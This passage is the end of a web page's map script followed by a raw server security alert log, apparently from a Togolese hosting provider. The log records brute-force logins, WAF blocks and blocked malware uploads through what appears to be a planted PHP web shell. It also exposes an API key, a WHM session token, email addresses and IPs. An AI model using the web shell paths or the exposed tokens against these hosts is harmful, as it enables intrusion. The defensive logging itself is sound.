'fontawesome',\r\n        });\r\n    }\r\n</script>\r\n\r\n    <script type=\"text/javascript\" src=\"https://maps.googleapis.com/maps/api/js?key=aizasybywq6fmtby-ozrkwuqi-g-yutiixz-9wo\"></script>\r\n    <script type=\"text/javascript\" src=\"https://www.google.com/jsapi\"></script>\r\n\r\n    <script !src=\"\">\r\n        $(document).ready(function () {\r\n            function initialize() {\r\n                var mapoptions = {\r\n                    zoom: 18,\r\n                    scrollwheel: false,\r\n                    center: new google.maps.latlng(6.131485,1.215150),\r\n                };\r\n\r\n                var map = new google.maps.map(document.getelementbyid('googlemap'), mapoptions);\r\n\r\n\r\n                var maker_icon = {\r\n                    url: 'https://dagl.tg/public/assets/front/imgs/map-icon-yellow.jpg',\r\n                    scaledsize: new google.maps.size(50, 70),\r\n                    origin: new google.maps.point(0,0),\r\n                    anchor: new google.maps.point(0, 0),\r\n                    labelorigin: new google.maps.point(17, 72)\r\n                };\r\n\r\n                var marker = new google.maps.marker({\r\n                    position: map.getcenter(),\r\n                    //animation:google.maps.animation.bounce,\r\n                    icon: maker_icon,\r\n                    map: map,\r\n                    label: {\r\n                        color: '#d21034',\r\n                        fontweight: 'bold',\r\n                        text: 'district autonome du grand lom\xc3\xa9'\r\n                    },\r\n                });\r\n\r\n                const infowindow = new google.maps.infowindow({\r\n                    content: '<h6>district autonome du grand lom\xc3\xa9</h6>'  \r\n                        '<div>av. nicolas grunitzky, quartier administratif</div>'\r\n                });\r\n\r\n                marker.addlistener(\"click\", () => {\r\n                    infowindow.open(map,  marker);\r\n                });\r\n\r\n            }\r\n            google.maps.event.adddomlistener(window, 'load', initialize);\r\n        });\r\n    </script>\r\n\r\n</html>\r\n||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 07:37:17 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48822: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 101.24.18.210
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/383816755 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 07:42:52 +0000] info [cpaneld] 188.166.248.160 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 135.131.243.86
country_id: 6252001
description:
[2026-06-27 07:43:52 +0000] info [whostmgrd] 135.131.243.86 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.211.121.69
country_id: 6252001
description:
[2026-06-27 07:43:52 +0000] info [cpaneld] 108.211.121.69 - mpqypjjp "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.134.99
country_id: 2589581
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/themes/magxpress/assets/css/swiper-bundle.min.css?ver=1.0.0 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.137.104.68
country_id: 6252001
description:
[2026-06-27 07:43:49 +0000] info [cpaneld] 38.137.104.68 - mpqypjjp "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.197.168.19
country_id: 6252001
description:
[2026-06-27 07:43:56 +0000] info [whostmgrd] 67.197.168.19 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.134.48
country_id: 2589581
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/post-views-counter/css/frontend.css?ver=1.7.13 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.8.80
country_id: 3895114
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/admin-bar.min.css?ver=7.0 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.27.71
country_id: 2921044
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/fonts/37d75b7834f286a5e8ccb9266094e4d9.css?ver=1.0.0 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.158.132.3
country_id: 6252001
description:
[2026-06-27 07:43:50 +0000] info [whostmgrd] 64.158.132.3 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.67.197
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/dashicons.min.css?ver=7.0 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.106.86
country_id: 1562822
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/themes/magxpress/style.css?ver=1.0.0 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.158.178.150
country_id: 6252001
description:
[2026-06-27 07:43:55 +0000] info [cpaneld] 67.158.178.150 - mpqypjjp "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.27.71
country_id: 2921044
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/04/YasApp_24Heur.Info_.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 07:44:29 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45282: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.120.159
country_id: 1880251
description:
47.128.120.159 - - [27/Jun/2026:07:45:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6461032&pdata=https%253A%252F%252Fbelali.tg%252Fhowever-two-of-the-best-lovers-we-have-previously%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782546318 HTTP/2.0" 302 0 belali.tg "https://belali.tg/however-two-of-the-best-lovers-we-have-previously/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.120.159


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.216.226.238
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.216.226.238: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.226.182
country_id: 3469034
description:
Jun 27 07:47:52 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.226.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.208.189.111
country_id: 6252001
description:
[2026-06-27 07:48:08 +0000] info [cpaneld] 71.208.189.111 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.7.88.83
country_id: 6252001
description:
[2026-06-27 07:48:11 +0000] info [cpaneld] 73.7.88.83 - sproca "GET /login/?login_only=1&user=sproca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.94.43.220
country_id: 6252001
description:
[2026-06-27 07:48:21 +0000] info [cpaneld] 72.94.43.220 - spro "GET /login/?login_only=1&user=spro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spro (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.226.182
country_id: 3469034
description:
Jun 27 07:48:41 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.226.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.230.18.17
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/11/chu-togo.webp 660w, http:/togodailynews.tg/wp-content/uploads/2025/11/chu-togo-300x150.webp 300w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.163.175.245
country_id: 6252001
description:
[2026-06-27 07:48:27 +0000] info [cpaneld] 67.163.175.245 - sp "GET /login/?login_only=1&user=sp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sp (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Jun 27 07:49:03 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.161.141.39
country_id: 6252001
description:
[2026-06-27 07:48:14 +0000] info [cpaneld] 73.161.141.39 - sprocatg "GET /login/?login_only=1&user=sprocatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sprocatg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Jun 27 07:49:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.130.35.29
country_id: 2017370
description:
Jun 27 07:49:32 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.130.35.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.253.90.113
country_id: 2661886
description:
Jun 27 07:49:37 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.253.90.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.226.182
country_id: 3469034
description:
Jun 27 07:49:40 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.226.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Jun 27 07:50:46 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.235.250.120
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/881151967 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.226.182
country_id: 3469034
description:
Jun 27 07:51:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.226.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 27 07:51:44 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.105.111.219
country_id: 6252001
description:
[2026-06-27 07:52:36 +0000] info [cpaneld] 143.105.111.219 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Jun 27 07:52:31 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.251.153.100
country_id: 6252001
description:
[2026-06-27 07:52:56 +0000] info [cpaneld] 72.251.153.100 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.200.149.43
country_id: 6252001
description:
[2026-06-27 07:52:34 +0000] info [cpaneld] 97.200.149.43 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.217.67.199
country_id: 6252001
description:
[2026-06-27 07:52:39 +0000] info [cpaneld] 24.217.67.199 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.85.228.97
country_id: 6252001
description:
[2026-06-27 07:52:31 +0000] info [cpaneld] 67.85.228.97 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Jun 27 07:53:35 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.50.226.182
country_id: 3469034
description:
Jun 27 07:54:09 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.50.226.182 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/myxlsnta/public_html/public/assets/admin/css/bootstrap-dagl.php||User:myxlsnta||WPU:||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.131.198.189
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/885376640 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:204186||Sizes:329487||Combined size:329487||User:myxlsnta||WPU:||Filename:idx.html||Scanned:/tmp//20260627-075628-aj-CLBaFbiBH3gd1c8AhHgAAAAU-file-uZZaEv||SC:/home/myxlsnta/public_html/public/assets/admin/css/bootstrap-dagl.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.143.27.113
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/a1cfc1 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: www.social-infos.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.164.183.114
country_id: 1831722
description:
103.164.183.114 - - [27/Jun/2026:07:57:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146523&pdata=https%253A%252F%252Fwww.dagl.tg%252Fpublic%252Fassets%252Fadmin%252Fcss%252Fbootstrap-dagl.php%253Fc999999%253D2f686f6d652f6d79786c736e74612f7075626c69635f68746d6c2f636f6e74616374&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782547044 HTTP/2.0" 302 0 www.dagl.tg "https://www.dagl.tg/public/assets/admin/css/bootstrap-dagl.php?c999999=2f686f6d652f6d79786c736e74612f7075626c69635f68746d6c2f636f6e74616374" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.164.183.114


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:217157||Sizes:329487||Combined size:329487||User:myxlsnta||WPU:||Filename:main.html||Scanned:/tmp//20260627-075857-aj-CwfhAEldeQDkxY4pljAAAAAE-file-gDEBYR||SC:/home/myxlsnta/public_html/public/assets/admin/css/bootstrap-dagl.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.51.61.58
country_id: 357994
domain: istm.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74323.istm.tg||ServerName:istm.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6c7c3b1b715e4791cf5b8040a7e5a3886afff5b5||Title:0x050eef84||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.255.104.202
country_id: 2750405
description:
2026-06-27 08:00:40 dovecot_plain authenticator failed for H=(438auu11srh7pqv5acyv2ga) [5.255.104.202]:34842: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:266186||Sizes:329487||Combined size:329487||User:myxlsnta||WPU:||Filename:main.html||Scanned:/tmp//20260627-080107-aj-DQw54Q7tML80ccv7cHwAAABM-file-2NqSLO||SC:/home/myxlsnta/public_html/vendor/phpunit/php-code-coverage/build/scripts/security/class/index.php||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.164.183.114
country_id: 1831722
description:
103.164.183.114 - - [27/Jun/2026:08:00:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6461640&pdata=https%253A%252F%252Fwww.dagl.tg%252Fvendor%252Fphpunit%252Fphp-code-coverage%252Fbuild%252Fscripts%252Fsecurity%252Fclass%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782547247 HTTP/2.0" 302 0 www.dagl.tg "https://www.dagl.tg/vendor/phpunit/php-code-coverage/build/scripts/security/class/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.164.183.114


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/myxlsnta/public_html/vendor/phpunit/php-code-coverage/build/scripts/security/class/index.php||User:myxlsnta||WPU:||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.164.183.114
country_id: 1831722
description:
103.164.183.114 - - [27/Jun/2026:08:01:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793223&pdata=https%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782547301 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.164.183.114


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:244131||Sizes:329487||Combined size:329487||User:myxlsnta||WPU:||Filename:main.html||Scanned:/tmp//20260627-080111-aj-DRw54Q7tML80ccv7cIQAAABM-file-UThhw5||SC:/home/myxlsnta/public_html/vendor/phpunit/php-code-coverage/build/scripts/security/class/index.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:327130||Sizes:329487||Combined size:329487||User:myxlsnta||WPU:||Filename:main.html||Scanned:/tmp//20260627-080245-aj-DpFKtYkfuG1CQj3jPlAAAAEA-file-iJ8915||SC:/home/myxlsnta/public_html/vendor/phpunit/php-code-coverage/build/scripts/security/class/index.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.31.223.223
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/696c58 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.52.249.121
country_id: 1835841
description:
Jun 27 08:06:58 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.52.249.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.52.249.121
country_id: 1835841
description:
2026-06-27 08:07:00 dovecot_plain authenticator failed for H=(cet5arntfzissj12bo5v50gr3a7ev) [218.52.249.121]:42334: 535 Incorrect authentication data (set_id=jeffery.a@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.152.229.111
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.152.229.111
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.15.36.117
country_id: 2921044
description:
[2026-06-27 08:13:03 +0000] info [cpaneld] 194.15.36.117 - camaegdtomgo "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.15.36.117
country_id: 2921044
description:
194.15.36.117 - camaegdtomgo [27/Jun/2026:08:13:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185584&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782547975 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.15.36.117


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 175.100.79.112
country_id: 1831722
description:
175.100.79.112 - - [27/Jun/2026:08:13:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7498136&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782548027 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/e4/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:175.100.79.112


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 175.100.79.112
country_id: 1831722
description:
175.100.79.112 - - [27/Jun/2026:08:14:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923987&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782548090 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:175.100.79.112


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.70.193
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-322-milliards-cfa-pour-renforcer-la-securite-nationale/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.70.193
country_id: 2328926
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-322-milliards-cfa-pour-renforcer-la-securite-nationale/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.255.1.176
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/2027462974 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 93.185.162.14
country_id: 1643084
description:
[2026-06-27 08:21:04 +0000] info [whostmgrd] 93.185.162.14 NEW root:74rKKzeLCewX99xp address=93.185.162.14,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.244.87.162
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/togo/page/1816711992 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
